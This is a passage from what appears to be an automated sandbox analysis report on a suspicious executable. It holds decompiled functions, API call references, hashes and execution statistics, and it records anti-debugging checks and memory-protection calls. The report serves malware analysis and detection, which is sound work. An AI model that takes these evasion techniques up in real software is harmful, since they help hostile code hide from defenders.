					__eflags = _t26[1] - _t28;
					if(_t26[1] == _t28) {
						_t10 = E00CE31FC( &(_t26[2]), _t28);
						__eflags = _t10;
						if(_t10 != 0) {
							_t13 = E00CE31FC(_t10 + 2, _t28);
							__eflags = _t13;
							if(_t13 == 0) {
								_t14 = E00CE4DF3(_t26);
							} else {
								_t14 = (_t13 - _t26 >> 1) + 1;
							}
							__eflags = _t14 - _a12;
							asm("sbb esi, esi");
							_t30 = _t28 & _t14;
							E00CE72F2(_t19, _t26, _t30);
							_t10 = 0;
							__eflags = 0;
							 *((short*)(_t19 + _t30 * 2)) = 0;
						}
					}
				}
				return _t10;
			}

0x00cccda1
0x00cccda8
0x00cccdad
0x00cccdb0
0x00cccdb5
0x00cccdba
0x00000000
0x00cccdcc
0x00cccdd4
0x00cccdd5
0x00cccdd8
0x00cccdda
0x00cccdde
0x00cccde5
0x00cccdec
0x00cccdee
0x00cccdf5
0x00cccdfc
0x00cccdfe
0x00ccce08
0x00ccce00
0x00ccce04
0x00ccce04
0x00ccce0e
0x00ccce12
0x00ccce14
0x00ccce19
0x00ccce21
0x00ccce21
0x00ccce23
0x00ccce23
0x00cccdee
0x00cccdde
0x00000000

APIs

_swprintf.LIBCMT ref: 00CCCDC7

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

Strings

%c:\, xrefs: 00CCCDBD

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 6e45351592f7cd598d451f74843e07c0c60768bd769cb2763b8a456946d483bf
Instruction ID: 92908a5aa7fbf999acaa09c6ca1f3e4dce1b0c9a38cb009759308bc53794ec05
Opcode Fuzzy Hash: 6e45351592f7cd598d451f74843e07c0c60768bd769cb2763b8a456946d483bf
Instruction Fuzzy Hash: FE01F5635043517ADA34676ADC87F6BA7ECDE97360740441EF499C6082EA20D940E2B1

Uniqueness

Uniqueness Score: -1.00%

Function 00CC12F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00CC12F6(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E00CCF5C1(0xd03070, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E00CCF5E8(0xd03070, __edx, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0xd25154(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0xcf45f4);
								}
							}
						}
					}
				}
				return 0;
			}

0x00cc12fd
0x00cc1360
0x00cc12ff
0x00cc12ff
0x00cc1306
0x00cc131c
0x00cc1325
0x00cc132a
0x00cc1332
0x00cc133a
0x00cc1342
0x00cc1350
0x00cc1350
0x00cc1342
0x00cc1332
0x00cc1325
0x00cc1306
0x00cc1368

APIs

Part of subcall function 00CCF5E8: _swprintf.LIBCMT ref: 00CCF60E
Part of subcall function 00CCF5E8: _strlen.LIBCMT ref: 00CCF62F
Part of subcall function 00CCF5E8: SetDlgItemTextW.USER32(?,00D00274,?), ref: 00CCF68F
Part of subcall function 00CCF5E8: GetWindowRect.USER32(?,?), ref: 00CCF6C9
Part of subcall function 00CCF5E8: GetClientRect.USER32(?,?), ref: 00CCF6D5

GetDlgItem.USER32(00000000,00003021), ref: 00CC133A
SetWindowTextW.USER32(00000000,00CF45F4), ref: 00CC1350

Strings

0, xrefs: 00CC12F9

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 1382753ddd058e522376622417d4efe432f84b4e3fef4da7a5bcdaba5dba994e
Instruction ID: 9bbd57ee2414a16dbe296ea43e1668aed79025d512155d85c6b0199c1e80bf96
Opcode Fuzzy Hash: 1382753ddd058e522376622417d4efe432f84b4e3fef4da7a5bcdaba5dba994e
Instruction Fuzzy Hash: 0DF08130100788A6DF161F12D80DFA93B59BB16368F0C402CFD59946A2C774C691EA30

Uniqueness

Uniqueness Score: -1.00%

Function 00CD22DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00CD22DC(void* __ecx, void* __ebp, void* _a4) {
				void* __esi;
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				_t14 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					return E00CC76C4(E00CC76C9(_t6, _t14, 0xd030c4, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff), 0xd030c4, 0xd030c4, 2);
				}
				return _t2;
			}

0x00cd22dc
0x00cd22e2
0x00cd22e8
0x00cd22eb
0x00cd22f4
0x00000000
0x00cd2313
0x00cd2314

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00CD23F9,?,?,00CD246F,?,?,?,?,?,00CD2459), ref: 00CD22E2
GetLastError.KERNEL32(?,?,00CD246F,?,?,?,?,?,00CD2459), ref: 00CD22EE

Part of subcall function 00CC76C9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC76E7

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00CD22F7

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ab03cc4fd91594399b8126a86774102c43569a95e97f96ae0fd7bfc3e4d7edcd
Instruction ID: 3ddd7026bd7844fe51b4dcd2d6dd15dc41470c0f934587ba4793f36a743df9c1
Opcode Fuzzy Hash: ab03cc4fd91594399b8126a86774102c43569a95e97f96ae0fd7bfc3e4d7edcd
Instruction Fuzzy Hash: 6AD05E7290892136C605272CAC0AFBF7D189B22730F640719F33A562FACEA0095196E6

Uniqueness

Uniqueness Score: -1.00%

Function 00CCF59E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCF59E(void* __ecx) {
				struct HRSRC__* _t3;
				void* _t5;

				_t5 = __ecx;
				_t3 = FindResourceW(GetModuleHandleW(0), L"RTL", 5);
				if(_t3 != 0) {
					 *((char*)(_t5 + 0x50)) = 1;
					return _t3;
				}
				return _t3;
			}

0x00ccf5a1
0x00ccf5b1
0x00ccf5b9
0x00ccf5bb
0x00000000
0x00ccf5bb
0x00ccf5c0

APIs

GetModuleHandleW.KERNEL32(00000000,?,00CCED55,?), ref: 00CCF5A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00CCED55,?), ref: 00CCF5B1

Strings

RTL, xrefs: 00CCF5AB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: ca11b8ac0c92963c638052d88316bfc876d4a5484a56a8678fa2c2c0b8a38ee0
Instruction ID: e19c969a42e43083ae9e74527d5d64d5bbfbf6c9478b596cfd4503a0daafe891
Opcode Fuzzy Hash: ca11b8ac0c92963c638052d88316bfc876d4a5484a56a8678fa2c2c0b8a38ee0
Instruction Fuzzy Hash: 24C0123224435066D63427B16C0DF972E985B00711F05045CB701DA1C0DEE5C841C6A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: FTrondtloadw.exePID: 1216, Parent PID: 6312COMMON

Execution Graph

Execution Coverage:	34.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.1%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Executed Functions

Function 03032694 Relevance: 1.9, APIs: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1892d357bc90e24c37f08ef97bedbda49e02225f9c08ba92bc96df8b78b8ae5b
Instruction ID: 976c82c20b40f2b17340a38c609dc30d72d02071ddb59707fe521f4a05ff55de
Opcode Fuzzy Hash: 1892d357bc90e24c37f08ef97bedbda49e02225f9c08ba92bc96df8b78b8ae5b
Instruction Fuzzy Hash: 9EE1F070D06249DFDB15CFA8C8907EEBBF6BF46300F0884AAD845AB291D7359945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03036CE0 Relevance: 1.8, APIs: 1, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,?,?,?,?,00000000,?), ref: 03037029

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 276fd4c788cd70038d47303ba9394d25f8d4594c8a632d5de80de47fd1d32525
Instruction ID: 50af5580b74e67fa189c812f30fbccb113ddc07998435e2286014006b559f95c
Opcode Fuzzy Hash: 276fd4c788cd70038d47303ba9394d25f8d4594c8a632d5de80de47fd1d32525
Instruction Fuzzy Hash: 9FD18D70E012099FDB14CFA8C880BAEFBF6FF49314F188069E855AB391DB759945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0171F10A Relevance: 1.6, APIs: 1, Instructions: 65nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 0171F19D

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 682a50e5284596acb6cfab55e87a58949c1d4541c6da8dc092fd8c85e3bcf70c
Instruction ID: ae819672b1eb52ab55c1e7864bec67cd68737e13acc4863e7bb8534f4f643248
Opcode Fuzzy Hash: 682a50e5284596acb6cfab55e87a58949c1d4541c6da8dc092fd8c85e3bcf70c
Instruction Fuzzy Hash: 1C2103B5A002489FCB10CFAED985BDEFBF4FB49314F108429E818A7240D774A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0171F110 Relevance: 1.6, APIs: 1, Instructions: 61nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 0171F19D

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: e3750e95cd8ece3a576b266785e18e4c482bb088857460ac7ea2e107d11f4d9a
Instruction ID: cb031f2822567fe949faf2c4ddc555c888ec5ba3a2fb1f38f049390c082960e4
Opcode Fuzzy Hash: e3750e95cd8ece3a576b266785e18e4c482bb088857460ac7ea2e107d11f4d9a
Instruction Fuzzy Hash: 3321EFB5A002489FCB10CFAED984BDEFBF5FB48314F10852AE918A7250D774A954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0171F0B0 Relevance: 1.6, APIs: 1, Instructions: 61nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 0171F19D

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: aaca4b5dabf88dffd19b42d36539ce3ef38e975f5b3176601f2f4f0498d2f93c
Instruction ID: bbac46b6005b9a56cbe26c9ebcaf1ec47975a2ed0472a8c24b6d8e5a163a0b72
Opcode Fuzzy Hash: aaca4b5dabf88dffd19b42d36539ce3ef38e975f5b3176601f2f4f0498d2f93c
Instruction Fuzzy Hash: F0211FB5A003489FCB11CFADD844BDEBBF1FB49324F14856AE819A7251D378A945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0171F0D0 Relevance: 1.6, APIs: 1, Instructions: 60nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 0171F19D

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 8328bbfbebac8a10a7ee4535429953d41610c12421a866eaa60a8de0827dae06
Instruction ID: f8e914c8907eef241d750308f452cb4dcdd4a4f387ebeda89552da02f48a6ddf
Opcode Fuzzy Hash: 8328bbfbebac8a10a7ee4535429953d41610c12421a866eaa60a8de0827dae06
Instruction Fuzzy Hash: BA21A6B6A002488FCB10CF6CD840BDEBBF1FF89314F14816AE818E7250D734A884CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0171EE88 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE ref: 0171EEE4

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: d70e85cbfc85cd219e83b07041c38625fc106c8c538a3e765838228c54b5e061
Instruction ID: 4f0eb117672f3a71c708134e2d2d65a2369084e9127d03bca70323461374bbb7
Opcode Fuzzy Hash: d70e85cbfc85cd219e83b07041c38625fc106c8c538a3e765838228c54b5e061
Instruction Fuzzy Hash: F41115759002098FDB20CF9AC984BDEFFF4EB08324F148459D459B7640D779A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030AF0 Relevance: 1.6, APIs: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,?,?,?,?), ref: 03030BC2

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: faeae9980a8058c88be2ad3370d69b9ebeab45f6fbe918e1ced8e615da52c36b
Instruction ID: 87a2b9b8d0a71d1324532f6b7f8660518ca5cb627af253b3ec77ab31abefb88d
Opcode Fuzzy Hash: faeae9980a8058c88be2ad3370d69b9ebeab45f6fbe918e1ced8e615da52c36b
Instruction Fuzzy Hash: 0A318771C0579AAFCB02CFA9C840A9AFFB5FF09314F04825AE919A7651C374A914CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 03030DD2 Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,00000000), ref: 03030E85

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 65e53ac85ef6cb31304bad31e77af047b99b5e3a6906316bd955fb09af963a9c
Instruction ID: cb3c5e415e46c420f57b2df39afd9755bc2f16ce75d621e22453ca1c6f8497ca
Opcode Fuzzy Hash: 65e53ac85ef6cb31304bad31e77af047b99b5e3a6906316bd955fb09af963a9c
Instruction Fuzzy Hash: 903176B1901349DFCB10CFAAC884A9EBFF5EF09320F04805EE819A7251D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0171EE5F Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE ref: 0171EEE4

Memory Dump Source

Source File: 00000001.00000002.257007427.0000000001710000.00000040.00000800.00020000.00000000.sdmp, Offset: 01710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1710000_FTrondtloadw.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 3eedd83940fb3bce41f1aad1b37b4b74fd1a9b55f36e1a416ae5255e9fb8ef17
Instruction ID: aabb17474fb81afe4fd1befbfc7c9ab4dfb9e5446fb478fb0b6dfe637b96b6ba
Opcode Fuzzy Hash: 3eedd83940fb3bce41f1aad1b37b4b74fd1a9b55f36e1a416ae5255e9fb8ef17
Instruction Fuzzy Hash: E72189B68043488FDB22CF6DC8847EEBFF4EF09324F14845AD444A7252DB349848CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030E00 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,00000000), ref: 03030E85

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 614479a5822745c8c3ed1a4c5bed93ab590547e2d2700ae4e5214df218864e9b
Instruction ID: 1907bb3ab3708ec37b94e2bc46235a8428f431c6d38f456d0ea4f8551169b23d
Opcode Fuzzy Hash: 614479a5822745c8c3ed1a4c5bed93ab590547e2d2700ae4e5214df218864e9b
Instruction Fuzzy Hash: 2A2104B5901249DFCB14CFAAC984BDEFBF9FB48324F148429E819A7250D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 030311F0 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0303126B

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a12071e685236f20867c9308386a68a145692df572d8b24d5710043999f1fc5
Instruction ID: 4e73e12006e94f48f8ef36432a35478042c97e15d1fd946e54ff28482bf5af04
Opcode Fuzzy Hash: 8a12071e685236f20867c9308386a68a145692df572d8b24d5710043999f1fc5
Instruction Fuzzy Hash: 7F210476D002099FCB10CF9AC984ADEBBF5EB48320F148429E858A7240D779A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030B40 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,?,?,?,?,?,?), ref: 03030BC2

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5d85dcda2dc1415d161a871b8bf8435bf12ac160ea49083b130bad135deaa5a1
Instruction ID: 00ca3593c90ab01397ab4d1a0281e243b968184a0dc1f9013040258d83b631a9
Opcode Fuzzy Hash: 5d85dcda2dc1415d161a871b8bf8435bf12ac160ea49083b130bad135deaa5a1
Instruction Fuzzy Hash: B92168B5D002099FCB00CF9AC840ADEFBB8FB08324F048119E815B3210C774A950CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 030311F8 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0303126B

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c0a9f0bf481b5c997aff8879a5f968ead6766fe4aea02e9e61f12e1612f3114f
Instruction ID: 2848cae62bd540462af3aae414c4ed12f63b0278ebdcffd614e87bc370717e3b
Opcode Fuzzy Hash: c0a9f0bf481b5c997aff8879a5f968ead6766fe4aea02e9e61f12e1612f3114f
Instruction Fuzzy Hash: A5210675D002099FCB10DF9AC984BDEFBF5EF48324F148429E468A7240D779A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030F82 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 03030FE7

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 39357da39bd1f06f3b2afa7d8b5f86c74636b0cc0715ab321911050f0398f67b
Instruction ID: af03d2611b5dfb97ec42dfc48041e98307922d8845d1dbe743f71510f0711935
Opcode Fuzzy Hash: 39357da39bd1f06f3b2afa7d8b5f86c74636b0cc0715ab321911050f0398f67b
Instruction Fuzzy Hash: D11158758012098FCB10CF9AC545BDEBBF9EF49324F248459D419A7640D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030ECA Relevance: 1.6, APIs: 1, Instructions: 52fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 03030F3B

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 9dd1c29e46e68ca80514b6ea5cc2423d8406cba3a86a44da83d2867ef628989e
Instruction ID: 225118dc1e0ecee81260f58eaee8022ff55451253d7c520bf6782133829804f8
Opcode Fuzzy Hash: 9dd1c29e46e68ca80514b6ea5cc2423d8406cba3a86a44da83d2867ef628989e
Instruction Fuzzy Hash: 8B1123B59002499FCB20CF9AD984BDEBFF5FF88324F148419E429A7650C375A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 03030ED0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 03030F3B

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: a7e78f4e05b4c9d18c358a77a6f53fea84489d796edf20103eab993ebf3d08e5
Instruction ID: 1e4d79459be6e1db485fbeb40dade8c9952859645ebb50dd1022c740ab7fbf2e
Opcode Fuzzy Hash: a7e78f4e05b4c9d18c358a77a6f53fea84489d796edf20103eab993ebf3d08e5
Instruction Fuzzy Hash: 531102B59002499FCB10CF9AC984BDEFFF9EF48324F248419E529A7250C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03030F88 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 03030FE7

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: bbb36f6126c71f373ec9ab147e728d7e2a50c3cba73538614c568b1459a94f6a
Instruction ID: be45c21edeecb522473d395cadb42b3db2688ce5f582d7b9786b7c8c7efe0ead
Opcode Fuzzy Hash: bbb36f6126c71f373ec9ab147e728d7e2a50c3cba73538614c568b1459a94f6a
Instruction Fuzzy Hash: 9A1136B58002098FCB10CF9AC944BDEFBF9EF48324F24846AD459A7640D779A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03035C10 Relevance: 1.3, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,031076B4,?,?), ref: 03035C80

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f1c79305cbd230ba5afa3afb7c9ef65faa38e6b74559a5dbb466978f23ec4b8b
Instruction ID: 1f3116d5ac6180f80fe5fc35fd2c8d442849a3c135a4cbaa159a2becb88f1ac1
Opcode Fuzzy Hash: f1c79305cbd230ba5afa3afb7c9ef65faa38e6b74559a5dbb466978f23ec4b8b
Instruction Fuzzy Hash: 451134B99002089FCB10CF9AC984BDEFFF9FB49324F148419E419A7250C775A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03032680 Relevance: 1.3, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

